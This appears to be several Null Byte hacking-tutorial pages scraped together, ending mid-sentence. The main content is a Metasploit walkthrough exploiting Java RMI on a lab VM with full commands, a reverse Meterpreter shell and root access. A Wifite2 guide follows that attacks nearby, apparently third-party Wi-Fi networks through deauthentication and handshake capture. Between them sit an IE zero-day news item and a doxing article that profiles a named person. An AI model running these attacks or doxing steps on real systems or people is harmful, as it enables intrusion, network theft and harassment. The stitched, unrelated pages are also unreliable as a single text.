Vulnerability into Code ExecutionNews:How to Study for the White Hat Hacker Associate Certification (CWA)How To:Generate a Clickjacking Attack with Burp Suite to Steal User ClicksHow To:Hack Wireless Router Passwords & Networks Using HydraHow To:How Hackers Take Your Encrypted Passwords & Crack Them
How to Exploit Java Remote Method Invocation to Get Root « Null Byte :: WonderHowTo
In the world of technology, there's often a trade-off between convenience and security. The Java Remote Method Invocation is a system where that trade-off is all too real. The ability for a program written inJavato communicate with another program remotely can greatly extend the usability of an app, but it can also open up critical vulnerabilities that allow it to be compromised by an attacker.In this tutorial, we will be using theMetasploit Frameworkto attack an insecure instance of a Java RMI server located onMetasploitable 2, avulnerable virtual machine.Introduction to Java RMIThe Java Remote Method Invocation, or Java RMI, is a mechanism that allows an object that exists in one Java virtual machine to access and call methods that are contained in another Java virtual machine; This is basically the same thing as aremote procedure call, but in an object-oriented paradigm instead of a procedural one, which allows for communication between Java programs that are not in the sameaddress space.One of the major advantages of RMI is the ability for remote objects to load new classes that aren't explicitly defined already, extending the behavior and functionality of an application.RMI applications usually consist of two programs: aclient and a server. When the server is created, the methods of its objects are made available to the client. The communication is handled by two intermediary objects: the stub and the skeleton.The stub is located on the client side and sends information to the server, such as an identifier for the remote object, the name of the method to be invoked, and other relevant parameters. The skeleton resides on the server and passes the request from the client to the remote object.Vulnerabilities arise when the default, insecure configuration of the server is present, allowing for classes to be loaded from any remote URL. Since method calls to the server do not require anyauthentication, this can be exploited. Metasploit contains a module to scan for Java RMI endpoints, as well as a module to actively exploit this vulnerability.Scanning for Java RMIStart Metasploit by typingmsfconsolein theterminal. There's an auxiliary scanner we can use to detect whether the Java RMI vulnerability exists on our target; At the prompt, typesearch rmiand locate the "auxiliary/scanner/misc/java_rmi_server" module.msf > search rmi [!] Module database cache not built yet, using slow search Matching Modules ================ Name Disclosure Date Rank Description ---- --------------- ---- ----------- auxiliary/scanner/misc/java_rmi_server 2011-10-15 normal Java RMI Server Insecure Endpoint Code Execution Scanner exploit/multi/misc/java_rmi_server 2011-10-15 excellent Java RMI Server Insecure Default Configuration Java Code ExecutionNext, enteruse auxiliary/scanner/misc/java_rmi_serverand typeoptionsto display the settings.msf > use auxiliary/scanner/misc/java_rmi_server msf auxiliary(scanner/misc/java_rmi_server) > options Module options (auxiliary/scanner/misc/java_rmi_server): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target address range or CIDR identifier RPORT 1099 yes The target port (TCP) THREADS 1 yes The number of concurrent threadsNow we need to specify the target by typingset rhosts 172.16.1.102(use the IP address of your own target). We can also increase the number of threads a bit to make the scanner to run a little faster. Typeset threads 16to set the number of threads to sixteen, a relatively safe amount. Finally, typerun(an alias for exploit) to scan the target.msf auxiliary(scanner/misc/java_rmi_server) > set rhosts 172.16.1.102 rhosts => 172.16.1.102 msf auxiliary(scanner/misc/java_rmi_server) > set threads 16 threads => 16 msf auxiliary(scanner/misc/java_rmi_server) > run [+] 172.16.1.102:1099 - 172.16.1.102:1099 Java RMI Endpoint Detected: Class Loader Enabled [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completedWe can see that the scanner detected a Java RMI endpoint on port 1099, which suggests the target may be vulnerable. Let's try to exploit it.Exploiting Java RMIBack in our previous search results, locate the "exploit/multi/misc/java_rmi_server" module, and typeuse exploit/multi/misc/java_rmi_serverto load it. Now we can display the variousoptionsfor this exploit.msf auxiliary(scanner/misc/java_rmi_server) > use exploit/multi/misc/java_rmi_server msf exploit(multi/misc/java_rmi_server) > options Module options (exploit/multi/misc/java_rmi_server): Name Current Setting Required Description ---- --------------- -------- ----------- HTTPDELAY 10 yes Time that the HTTP Server will wait for the payload request RHOST yes The target address RPORT 1099 yes The target port (TCP) SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0 SRVPORT 8080 yes The local port to listen on. SSL false no Negotiate SSL for incoming connections SSLCert no Path to a custom SSL certificate (default is randomly generated) URIPATH no The URI to use for this exploit (default is random) Exploit target: Id Name -- ---- 0 Generic (Java Payload)Typeset rhost 172.16.1.102(using the appropriate IP address) to specify the target. All of the other options can be left as default for now. Next, useshow payloadsto display the compatible payloads for this exploit.msf exploit(multi/misc/java_rmi_server) > set rhost 172.16.1.102 rhost => 172.16.1.102 msf exploit(multi/misc/java_rmi_server) > show payloads Compatible Payloads =================== Name Disclosure Date Rank Description ---- --------------- ---- ----------- generic/custom normal Custom Payload generic/shell_bind_tcp normal Generic Command Shell, Bind TCP Inline generic/shell_reverse_tcp normal Generic Command Shell, Reverse TCP Inline java/meterpreter/bind_tcp normal Java Meterpreter, Java Bind TCP Stager java/meterpreter/reverse_http normal Java Meterpreter, Java Reverse HTTP Stager java/meterpreter/reverse_https normal Java Meterpreter, Java Reverse HTTPS Stager java/meterpreter/reverse_tcp normal Java Meterpreter, Java Reverse TCP Stager java/shell/bind_tcp normal Command Shell, Java Bind TCP Stager java/shell/reverse_tcp normal Command Shell, Java Reverse TCP Stager java/shell_reverse_tcp normal Java Command Shell, Reverse TCP InlineWe'll use the all-powerfulMeterpreterhere with a reverse TCP shell. Enterset payload java/meterpreter/reverse_tcpto enable this payload.msf exploit(multi/misc/java_rmi_server) > set payload java/meterpreter/reverse_tcp payload => java/meterpreter/reverse_tcpLet's take a look at the current settings again withoptions.msf exploit(multi/misc/java_rmi_server) > options Module options (exploit/multi/misc/java_rmi_server): Name Current Setting Required Description ---- --------------- -------- ----------- HTTPDELAY 10 yes Time that the HTTP Server will wait for the payload request RHOST 172.16.1.102 yes The target address RPORT 1099 yes The target port (TCP) SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0 SRVPORT 8080 yes The local port to listen on. SSL false no Negotiate SSL for incoming connections SSLCert no Path to a custom SSL certificate (default is randomly generated) URIPATH no The URI to use for this exploit (default is random) Payload options (java/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Generic (Java Payload)Since we're using a reverse shell, we need to specify the listen address. Typeset lhost 172.16.1.100(the IP address of your attacking machine), and we should be good to go. Typerunto launch the exploit.msf exploit(multi/misc/java_rmi_server) > set lhost 172.16.1.100 lhost => 172.16.1.100 msf exploit(multi/misc/java_rmi_server) > run [*] Started reverse TCP handler on 172.16.1.100:4444 [*] 172.16.1.102:1099 - Using URL: http://0.0.0.0:8080/ALldcZ02dnZmL [*] 172.16.1.102:1099 - Local IP: http://172.16.1.100:8080/ALldcZ02dnZmL [*] 172.16.1.102:1099 - Server started. [*] 172.16.1.102:1099 - Sending RMI Header... [*] 172.16.1.102:1099 - Sending RMI Call... [*] 172.16.1.102:1099 - Replied to request for payload JAR [*] Sending stage (53845 bytes) to 172.16.1.102 [*] Meterpreter session 1 opened (172.16.1.100:4444 -> 172.16.1.102:38797) at 2018-09-25 11:35:32 -0500 [*] 172.16.1.102:1099 - Server stopped. meterpreter >We can see that the exploit started a handler on our system, sent the RMI method call to the target, and that a Meterpreter session was successfully opened. We can now use commands likegetuid, to see the user that Meterpreter is running as on the target, andsysinfo, to display information about the target.meterpreter > getuid Server username: root meterpreter > sysinfo Computer : metasploitable OS : Linux 2.6.24-16-server (i386) Meterpreter : java/linuxWe can also spawn a local shell with theshellcommand.meterpreter > shell Process 1 created. Channel 1 created. ip address 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo inet6 ::1/128 scope host valid_lft forever preferred_lft forever 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000 link/ether 08:00:27:77:62:6c brd ff:ff:ff:ff:ff:ff inet 172.16.1.102/12 brd 172.31.255.255 scope global eth0 inet6 fe80::a00:27ff:fe77:626c/64 scope link valid_lft forever preferred_lft foreverWe are now root at this point, and from here, the world is our oyster since we essentially have full control over the target.Wrapping UpGood intentions and the promise of enhanced functionality can often lead to vulnerabilities in an application, as was the case we saw here. Today, we covered the basic architecture and behavior of the Java Remote Method Invocation, how to determine if a vulnerability is present, and how to exploit that vulnerability with Metasploit to ultimately attain root access on the target. We were essentially able toown the entire systemall because of an insecure configuration.Don't Miss:The Ultimate Command Cheat Sheet for Metasploit's MeterpreterFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byDaria-Yakovleva/PixabayRelatedHow To:Hack Your Kindle Touch to Get It Ready for Homebrew Apps & MoreHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPNews:The New HTC One M8 Has Been RootedHow To:Stop the New Java 7 Exploit from Installing Malware on Your Mac or PCHow To:Easily Find an Exploit in Exploit DB and Get It Compiled All from Your Terminal.How To:Hack Apache Tomcat via Malicious WAR File UploadHow to Java:E4 (Methods)Hack Like a Pro:How Windows Can Be a Hacking Platform, Pt. 1 (Exploit Pack)How To:The Easiest "One-Click" Root Method for Your Samsung Galaxy S3How To:Root Any Galaxy Note 2 Variant in No Time with One Easy ClickHow To:Hack Distributed Ruby with Metasploit & Perform Remote Code ExecutionHow To:Get Root with Metasploit's Local Exploit SuggesterNews:Linux Kernel Exploits Aren't Really an Android ProblemCreate a RAT in Java (Part 1:Method Resolve() )News:Another Security Concern from OnePlus — Backdoor Root App Comes Preinstalled on Millions of PhonesHow to Java:E5 (For Loops)How To:Install Java in CentOSHow To:Root Any Samsung Galaxy S4 in One ClickNews:Street Poets Open Mic Invocation 2011 (w/ Rhythm Tribe)Root Exploit:Memodipper Gets You Root Access to Systems Running Linux Kernel 2.6.39+How To:Give Java More Ram - Make Minecraft FasterHow To:Hack Mac OS X Lion PasswordsHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterDrive-By Hacking:How to Root a Windows Box by Walking Past ItHow To:Create a Reverse Shell to Remotely Execute Root Commands Over Any Open Port Using NetCat or BASHHow To:Install Minecraft in Ubuntu the Right Way!News:New AF100 Remote Helicopter FootageHow To:Write a Basic Encryption Program Using Java!How Null Byte Injections Work:A History of Our NamesakeNews:Intel Core 2 Duo Remote Exec Exploit in JavaScriptGoodnight Byte:HackThisSite Walkthrough, Part 4 - Legal Hacker TrainingNews:Introduction to JavaNews:Install Java on MindstormHow To:Chain VPNs for Complete Anonymity
Use Internet Explorer? Install the Latest Version to Avoid the Newest Zero-Day Exploit « Null Byte :: WonderHowTo
If you're one of the people who make up thenearly 24%of Internet users on Internet Explorer, now is a good time to click on 'Check for updates.' Researchers have found yet anotherMetasploit Zero-Day exploitthat leaves IE 7, 8, and 9 vulnerable for Windows users.Image viarapid7.comBrought to us by the same group as theJava 7 exploita few weeks ago, this one uses a malicious site to install the Poison Ivy backdoor trojan while unsuspecting users browse. Once installed, it basically gives the attacker the same privileges as the user. It works on computers running Windows XP, Vista, and 7, and the CSO of Rapid7told Ars Technicathat "This is one of the few times that a vulnerability has been successfully exploited across all the production shipping versions of the browser and OS."The good news is that Microsoft has confirmed that the exploit doesn't work on IE 10, so you shoulddownload the previewif you plan to keep using the browser. Your best bet, though, is tobackup your bookmarksand switch to Firefox or Chrome until there's a fix—better safe than sorry!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedNews:The DEA Spent $575,000 of Your Tax Dollars on Zero-Day ExploitsHow To:Stop the New Java 7 Exploit from Installing Malware on Your Mac or PCHow to Hack Like a Pro:Getting Started with MetasploitHow To:Add Tabs to the Windows 10 File ExplorerNews:How Zero-Day Exploits Are Bought & SoldHow To:Block Pop-Up in Firefox, Chrome and Internet ExplorerHow To:Firefox 16 Is Vulnerable to Hackers—Here's How to Downgrade to the Safer Firefox 15 VersionHack Like a Pro:Capturing Zero-Day Exploits in the Wild with a Dionaea Honeypot, Part 1Hack Like a Pro:Use Your Hacking Skills to Haunt Your Boss with This Halloween PrankHow To:Completely delete Internet Explorer 7 or 8Hack Like a Pro:How to Use Hacking Team's Adobe Flash ExploitHow To:Remove Facebook Ads from Internet Explorer 10 on Your Microsoft SurfaceHack Like a Pro:How to Build Your Own Exploits, Part 1 (Introduction to Buffer Overflows)How To:Draw Zero No Louise of Zero No TsukaimaHow To:Use the Google Chrome Frame to speed up Internet ExplorerNews:Shadow Brokers Leak Reveals NSA Compromised SWIFTNews:Hackers Claim 1$ Million Bounty for Security Flaw in iOS 9Hack Like a Pro:Capturing Zero-Day Exploits in the Wild with a Dionaea Honeypot, Part 2 (Configuration)How To:Get Back the Classic Look & Feel of Explorer in Windows 10News:How Governments Around the World Are Undermining Citizens' Privacy & Security to Stockpile CyberweaponsHow To:Get the Pixel's 'Zero Shutter Lag' Camera with HDR+ Features on Your NexusHow To:Clear Your Cache for Internet ExplorerHow To:Securely Sniff Wi-Fi Packets with SniffglueReal Scenarios #2:The Creepy Teacher [Part 2]Hack Like a Pro:How to Find Exploits Using the Exploit Database in KaliHack Like a Pro:How to Exploit IE8 to Get Root Access When People Visit Your WebsiteHow To:Remove or install Internet Explorer in Windows 7News:A WORD TO THE WISE ABOUT REMOVING INTERNET EXPLORERHow To:How Hackers Use Your IP Address to Hack Your Computer & How to Stop ItPrivate Browsing:A How-To for Firefox, Chrome & Internet ExplorerNews:Play BF3 Today! (1 day early)News:Easy Skype iPhone Exploit Exposes Your Phone Book & MoreNews:Google+ for iPhone is Finally Here!News:Add-ons for FarmVilleHow To:Make Your Internet Run Faster in Windows 7
Gathering Sensitive Information: How a Hacker Doesn't Get DoXed « Null Byte :: WonderHowTo
before I move on to more exciting areas in this series, I want to also point out some things to protect your information & how to not get DoXed.Where Is Your Information?In order to protect your information, you first need to understand where it is. And maybe even why it's there. So let's take a look at some of your basic information that every persons have.Full nameYour name is stored everywhere, meaning every social media account you own, and bank accounts, emails, literally everything.Birth date, phone number & e-mailThis is also pretty basic, and will also be stored many places. Again social accounts bank accounts and much more.Let's move to some more complex information.Bank account infoThis is obviously not stored everywhere, and most likely one place, maybe two at most. This also makes it hard to obtain for a random individual.So now you have gotten a picture of where i'm heading with this.Where Will a Hacker Look?Again, you need to put yourself in the shoes of a curious hacker wanting to obtain your personal information, and thereby you will know much better how to protect your info.He will obviously look everywhere, but he will first use the information he have already and from that information, determine where he should start looking.Lets say our target in this case is our friendMichael Oregonand we only have his name, and seen his face. First thing he will do is probably do a few advanced search queries onGoogle&Yahoopossibly also. An example could be@MichaelOregonThis will display everything containing those two words, especially social media accounts. Now the hacker will have to do some digging.Now we have successfully found a facebook. Good idea would be to go to his profile and see if he has some information on hisAboutpage. YES he did. Lucky for us now we also have hiscity, which then also gives us thecountry, zip code & country code. Already now we have very valuable information on our target.Our intention here is to complete a DoX of Michael Oregon, so lets see what we have so far.Michael Oregon.Protecing Your Personal Information:How can you protect your info when you have 10 social media accounts 3 emails, bank account, address and lots more? You can't. However, you can limit the amount of information you provide to the World Wide Web, and make it harder for curious information seekers to find your info. How will we go about this?Social Media PlatformsTo protect your info, you need to look at the social medias you have, and see how much info you actually filled in your account, and ask yourself?"If I delete some irrelevant info from my account, will I still be able to use it?"If the answer is yes, go ahead and put away that info. This depends on your social media account and what it asks for.Keep in mind, some websites do need specific info for you to be able to operate your account properly, and if removing that info it could result in some issues. However it all depends.So, remove any irrelevant info from all your accounts, because we all know how companies harvest as much info on people as they can possibly get, and you may need to fill in such info when signing up, however you can go ahead and remove that after signing up.NextEmailsBe careful here, because Facebook, Gmail, and Yahoo are the 3 main places it would be ideal to look for an email, and I personally know several methods of obtaining email addresses from these companies, without the individuals consent. Make sure you can "hide" your email, sorta say. So that if an information seeker should seek in that place, he will have no luck.Additional PrecautionsAnything else done after this towards protecting your info, are the basics precautions anyone would take towards protecting their information.Dont click random linksDont become a victim of phising emailsTwo basic and common examples one would use to obtain information.Our Goal for This Series:That is to point out important pointers on how to protect your info online & we will do this by demonstrating it onMichael Oregon, so keep following this series, as we are desperately trying to DoXMichael Oregon.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Gathering Sensitive Information: Basics & Fundamentals of DoXingHow To:Gathering Sensitive Information: Using Advanced Search QueriesNews:Many Lookup EnginesHack Like a Pro:How to Use Maltego to Do Network ReconnaissanceHow To:Gathering Sensitive Information: Scouting Media Profiles for Target InformationHacking Windows 10:How to Steal & Decrypt Passwords Stored in Chrome & Firefox RemotelyNews:8 Tips for Creating Strong, Unbreakable PasswordsHack Like a Pro:The Hacker MethodologyNews:Apple's iOS 7.1.1 Update Is Now Available: Why It's a Bigger Deal Than You ThinkHow To:Perform Directory Traversal & Extract Sensitive InformationHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 15 (Parsing Out Key Info from Memory)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 11 (Using Splunk)News:The Sensors in Your Phone Are Giving Hackers Your Passwords & Other Secret InformationHow To:Purge Your Inbox of Account Passwords with Dashlane's Email Security ScannerHack Like a Pro:How to Exploit SNMP for ReconnaissanceHow To:Dox AnyoneHow To:Install Gitrob on Kali Linux to Mine GitHub for CredentialsHow To:Remove sensitive information in Adobe Acrobat 9 ProHow To:Quickly Gather Target Information with Metasploit Post ModulesHow To:Why You Should Study to Be a HackerHacking Windows 10:How to Find Sensitive & 'Deleted' Files RemotelyHow To:Over 4 Million Snapchat Accounts Have Been Compromised—Is Yours One of Them?How To:Encrypt Your Sensitive Files Using TrueCryptDon't Get Doxed:5 Steps to Protecting Your Private Information on the WebHow To:enable & disable Page File EncryptionHow To:How Hackers Use Your IP Address to Hack Your Computer & How to Stop ItHow To:Noob's Introductory Guide to Hacking: Where to Get Started?News:Gathering Data for Fun and ProfitNews:The Girdle Of Venus - PalmistryHow To:Chain VPNs for Complete AnonymityNews:Social Hacking and Protecting Yourself from Prying EyesNews:New Variant of Zeus Trojan Loses Reliance On C&C ServerNews:Achieve Results YouTube ChannelWeekend Homework:How to Become a Null Byte Contributor (3/9/2012)How To:Don't Get Caught! How to Protect Your Hard Drives from Data ForensicsHow To:Permanently Delete Files to Protect Privacy and PasswordsCard Hunter:A Boring Title Conceals a Game Design Dream TeamHow To:Defend from Keyloggers in Firefox with Keystroke EncryptionNews:Best Hacking Software
How to Automate Wi-Fi Hacking with Wifite2 « Null Byte :: WonderHowTo
There are many ways to attack a Wi-Fi network. The type of encryption, manufacturer settings, and the number of clients connected all dictate how easy a target is to attack and what method would work best. Wifite2 is a powerful tool that automates Wi-Fi hacking, allowing you to select targets in range and let the script choose the best strategy for each network.Wifite2 vs. WifiteWifite has been around for some time and was one of the first Wi-Fi hacking tools I was introduced to. Along withBesside-ng, automated Wi-Fi hacking scripts enabled even script kiddies to have a significant effect without knowing much about the way the script worked. Compared to Besside-ng, the original Wifite was very thorough in using all available tools to attack a network, but it could also be very slow.One of the best features of the original Wifite was the fact that it performed a Wi-Fi site survey before attacking nearby networks, allowing a hacker to easily designate one, some, or all nearby networks as targets. By laying out available targets in an easy to understand format, even a beginner could understand what attacks might work best against nearby networks.Don't Miss:Automating Wi-Fi Hacking with Besside-ngThe original Wifite would automatically attack WPA networks by attempting to capture a handshake or by using the Reaver tool to brute-force the WPS setup PIN of nearby networks. While this method was effective, it could prove to take 8 hours or more to complete.The updated WiFite2 is much faster, churning through attacks in less time and relying on more refined tactics than the previous version. Because of this, Wifite2 is a more serious and powerful Wi-Fi hacking tool than the original Wifite.Attack Flow for Wi-Fi HackingWifite2 follows a simple but effective workflow for hacking nearby networks as rapidly as possible. To do so, it pushes each tactic it tries to the practical limit, even going to far as to try to crack any handshakes it retrieves.In the first step, Wifite2 scans across all channels looking for any network in range. It ranks these networks it discovers by signal strength, as a network being detected does not ensure you can reliably communicate with it.Organized from strongest to weakest signal strength, the reconnaissance phase involves gathering information about what networks are around and which hacking techniques they might be vulnerable to. Because of the way Wifite2 is organized, it's easy to add adirectional Wi-Fi antennato use Wifite2 to locate the source of any nearby Wi-Fi network while performing a site survey.Don't Miss:Hack WPA & WPA2 Wi-Fi Passwords with a Pixie-Dust AttackAfter the site survey is complete, any targets displayed will show whether there are clients connected, whether the network advertises WPS, and what kind of encryption the network is using. Based on this, an attacker can select any target, a group of targets, or all targets to begin an attack based on the information gathered.Wifite2 will progress through the target list starting with fastest and easiest attacks, likeWPS-Pixie, which can result in a password being breached in seconds, on to less sure tactics like checking for weak passwords with a dictionary attack. If an attack fails or takes too long, Wifite2 will move on to the next applicable attack without wasting hours like its predecessor was prone to doing.What You'll NeedTo get started, you'll need aWi-Fi network adapteryou can put into wireless monitor mode. This means selecting one that iscompatible with Kali Linux, which we have several excellent guides on doing.Wifite2 is installed by default on Kali Linux, so I recommend you either use Kali in a virtual machine or dual-booted on a laptop. You can use Wifite2 on other Linux systems, but I won't go through the installation as this guide assumes you're using Kali Linux.Don't Miss:Buy the Best Wireless Network Adapter for Wi-Fi Hacking in 2019Recommended Adapter:Alfa AWUS036NHAStep 1: Install Wifite2If you don't have Wifite2 installed on your system already, you can do so from the GitHub repository. First, you can clone the repository by opening a terminal window and typing the following commands.git clone https://github.com/derv82/wifite2.git cd wifite2 sudo python setup.py installThis should download and install Wifite2 on your system. To test if it worked, you can typewifite -hto see information about the version installed.wifite -h . . .´ · . . · `. wifite 2.1.6 : : : (¯) : : : automated wireless auditor `. · ` /¯\ ´ · .´ https://github.com/derv82/wifite2 ` /¯¯¯\ ´ optional arguments: -h, --help show this help message and exit SETTINGS: -v, --verbose Shows more options (-h -v). Prints commands and outputs. (default: quiet) -i [interface] Wireless interface to use (default: choose first or ask) -c [channel] Wireless channel to scan (default: all channels) -mac, --random-mac Randomize wireless card MAC address (default: off) -p [scantime] Pillage: Attack all targets after scantime seconds --kill Kill processes that conflict with Airmon/Airodump (default: off) --clients-only, -co Only show targets that have associated clients (default: off) --nodeauths Passive mode: Never deauthenticates clients (default: deauth targets) WEP: --wep Filter to display only WEP-encrypted networks (default: off) --require-fakeauth Fails attacks if fake-auth fails (default: off) --keep-ivs Retain .IVS files and reuse when cracking (default: off) WPA: --wpa Filter to display only WPA-encrypted networks (includes WPS) --new-hs Captures new handshakes, ignores existing handshakes in ./hs (default: off) --dict [file] File containing passwords for cracking (default: /usr/share/wordlists/fern-wifi/common.txt) WPS: --wps Filter to display only WPS-enabled networks --bully Use bully instead of reaver for WPS attacks (default: reaver) --no-wps NEVER use WPS attacks (Pixie-Dust) on non-WEP networks (default: off) --wps-only ALWAYS use WPS attacks (Pixie-Dust) on non-WEP networks (default: off) EVIL TWIN: -ev, --eviltwin Use the "Evil Twin" attack against all targets (default: off) COMMANDS: --cracked Display previously-cracked access points --check [file] Check a .cap file (or all hs/*.cap files) for WPA handshakes --crack Show commands to crack a captured handshakeStep 2: Plug in Your Wi-Fi CardWith Wifite2 installed on your system, you'll need to plug in yourKali Linux-compatible wireless network adapter. Wifite2 takes care of not only auto-selecting a wireless network adapter to use but also puts that wireless card into monitor mode for you, meaning you don't need to do anything after plugging in the adapter.Step 3: Set Flags & Find a TargetIf we know what channel we're attacking on, we can select it by adding the-ccommand followed by the channel number. Other than that, running Wifite2 is as simple as typingwifiteand letting the script gather information.wifite -c 11 . . .´ · . . · `. wifite 2.1.6 : : : (¯) : : : automated wireless auditor `. · ` /¯\ ´ · .´ https://github.com/derv82/wifite2 ` /¯¯¯\ ´ [+] option: scanning for targets on channel 11 [!] conflicting process: NetworkManager (PID 464) [!] conflicting process: wpa_supplicant (PID 729) [!] conflicting process: dhclient (PID 13595) [!] if you have problems: kill -9 PID or re-run wifite with --kill) [+] looking for wireless interfaces Interface PHY Driver Chipset ----------------------------------------------------------------------- 1. wlan0 phy3 ath9k_htc Atheros Communications, Inc. AR9271 802.11n [+] enabling monitor mode on wlan0... enabled wlan0mon NUM ESSID CH ENCR POWER WPS? CLIENT --- ------------------------- --- ---- ----- ---- ------ 1 Suicidegirls 11 WPA 48db no 2 Bourgeois Pig Guest 11 WPA 45db no 3 BPnet 11 WPA 42db no 4 DirtyLittleBirdyFeet 11 WPA 32db no 5 5 ATT73qDwuI 11 WPA 32db yes 6 SpanishWiFi 11 WPA 24db no 7 Franklin Lower 11 WPA 20db no 3 8 Sonos 11 WPA 11db no 9 Villa Carlotta 11 WPA 11db no 10 Sonos 11 WPA 10db no [+] select target(s) (1-10) separated by commas, dashes or all:Here, we executed a scan on channel 11 and found 10 different targets. Of those targets, two have clients connected, one has WPS enabled, and all are using WPA security.Step 4: Examine the Site Survey & Choose TargetsFrom our test survey, we can see that target number 5 may present the best target. While the signal strength isn't the best, and there aren't any clients connected, we can probably get a handshake with thenew PMKID attackeven if no one is connected.If we're looking for weak passwords, the first three networks have the strongest signal strength, while targets 4 and 7 have the best chance of scoring a quick four-way handshake to try brute-forcing later. If we're targeting a particular network, now is when we can select it. If we want to pick the most likely networks, we might select targets 4, 5, and 7 for the likelihood of a fast handshake being captured and cracked, if the WPS PIN isn't cracked first.Don't Miss:Disable Security Cam s on Any Wireless Network with Aireplay-NgIf we want to focus on easy targets, we can tell the script to only display targets vulnerable to a certain kind of attack. To show only targets with WPS that might be vulnerable toReaverorBullyattacks, we can run Wifite2 with the-wpsflag.wifite -wps . . .´ · . . · `. wifite 2.1.6 : : : (¯) : : : automated wireless auditor `. · ` /¯\ ´ · .´ https://github.com/derv82/wifite2 ` /¯¯¯\ ´ [+] option: targeting WPS-encrypted networks [!] conflicting process: NetworkManager (PID 464) [!] conflicting process: wpa_supplicant (PID 729) [!] conflicting process: dhclient (PID 14824) [!] if you have problems: kill -9 PID or re-run wifite with --kill) [+] looking for wireless interfaces Interface PHY Driver Chipset ----------------------------------------------------------------------- 1. wlan0 phy4 ath9k_htc Atheros Communications, Inc. AR9271 802.11n [+] enabling monitor mode on wlan0... enabled wlan0mon NUM ESSID CH ENCR POWER WPS? CLIENT --- ------------------------- --- ---- ----- ---- ------ 1 SBG6580E8 1 WPA 45db yes 2 The Daily Planet 1 WPA 30db yes 1 3 ATT73qDwuI 11 WPA 28db yes 4 birds-Wireless 2 WPA 23db yes [+] select target(s) (1-4) separated by commas, dashes or all:We can do the same with-wpaor-wepto only show targets matching these types of encryption.Step 5: Automate Attacks by Target TypeFrom our results list, let's select a target with both WPS enabled and clients attached. After selecting the number of the network we wish to attack, Wifite2 will proceed through the most expedient attacks against the network.[+] (1/1) starting attacks against 69:96:43:69:D6:96 (The Daily Planet) [+] The Daily Planet (76db) WPS Pixie-Dust: [--78s] Failed: Timeout after 300 seconds [+] The Daily Planet (52db) WPA Handshake capture: Discovered new client: C8:E0:EB:45:CD:45 [+] The Daily Planet (35db) WPA Handshake capture: Listening. (clients:1, deauth:11s, timeout:7m59s) [+] successfully captured handshake [+] saving copy of handshake to hs/handshake_TheDailyPlanet_69:96:43:69:D6:96_2018-12-24T00-33-18.cap saved [+] analysis of captured handshake file: [+] tshark: .cap file contains a valid handshake for 69:96:43:69:D6:96 [!] pyrit: .cap file does not contain a valid handshake [+] cowpatty: .cap file contains a valid handshake for (The Daily Planet) [+] aircrack: .cap file contains a valid handshake for 69:96:43:69:D6:96 [+] Cracking WPA Handshake: Using aircrack-ng via common.txt wordlist [!] Failed to crack handshake: common.txt did not contain password [+] Finished attacking 1 target(s), exitingHere, we can see that while the WPS-Pixie attack failed, we were able to easily grab and attack a handshake. The WPS-Pixie attack timed out pretty quickly, so we wasted a minimum of time exploring this avenue of attack. Sometimes, different wireless cards work better with different scripts, and this is true with Reaver and Bully. If one isn't working for you, try the other.Wifite2 uses Reaver by default, but you can change this to Bully by using the-bullyflag.wifite -wps -bully . . .´ · . . · `. wifite 2.1.6 : : : (¯) : : : automated wireless auditor `. · ` /¯\ ´ · .´ https://github.com/derv82/wifite2 ` /¯¯¯\ ´ [+] option: use bully instead of reaver for WPS Attacks [+] option: targeting WPS-encrypted networks [!] conflicting process: NetworkManager (PID 464) [!] conflicting process: wpa_supplicant (PID 729) [!] conflicting process: dhclient (PID 14824) [!] if you have problems: kill -9 PID or re-run wifite with --kill) [+] looking for wireless interfaces using interface wlan0mon (already in monitor mode) you can specify the wireless interface using -i wlan0 NUM ESSID CH ENCR POWER WPS? CLIENT --- ------------------------- --- ---- ----- ---- ------ 1 SBG6580E8 1 WPA 46db yes 2 The Daily Planet 1 WPA 34db yes 1 [+] select target(s) (1-2) separated by commas, dashes or all: 2 [+] (1/1) starting attacks against 78:96:84:00:B5:B0 (The Daily Planet) [+] The Daily Planet (44db) WPS Pixie-Dust: [4m0s] Failed: More than 100 timeouts [+] The Daily Planet (34db) WPA Handshake capture: found existing handshake for The Daily Planet [+] Using handshake from 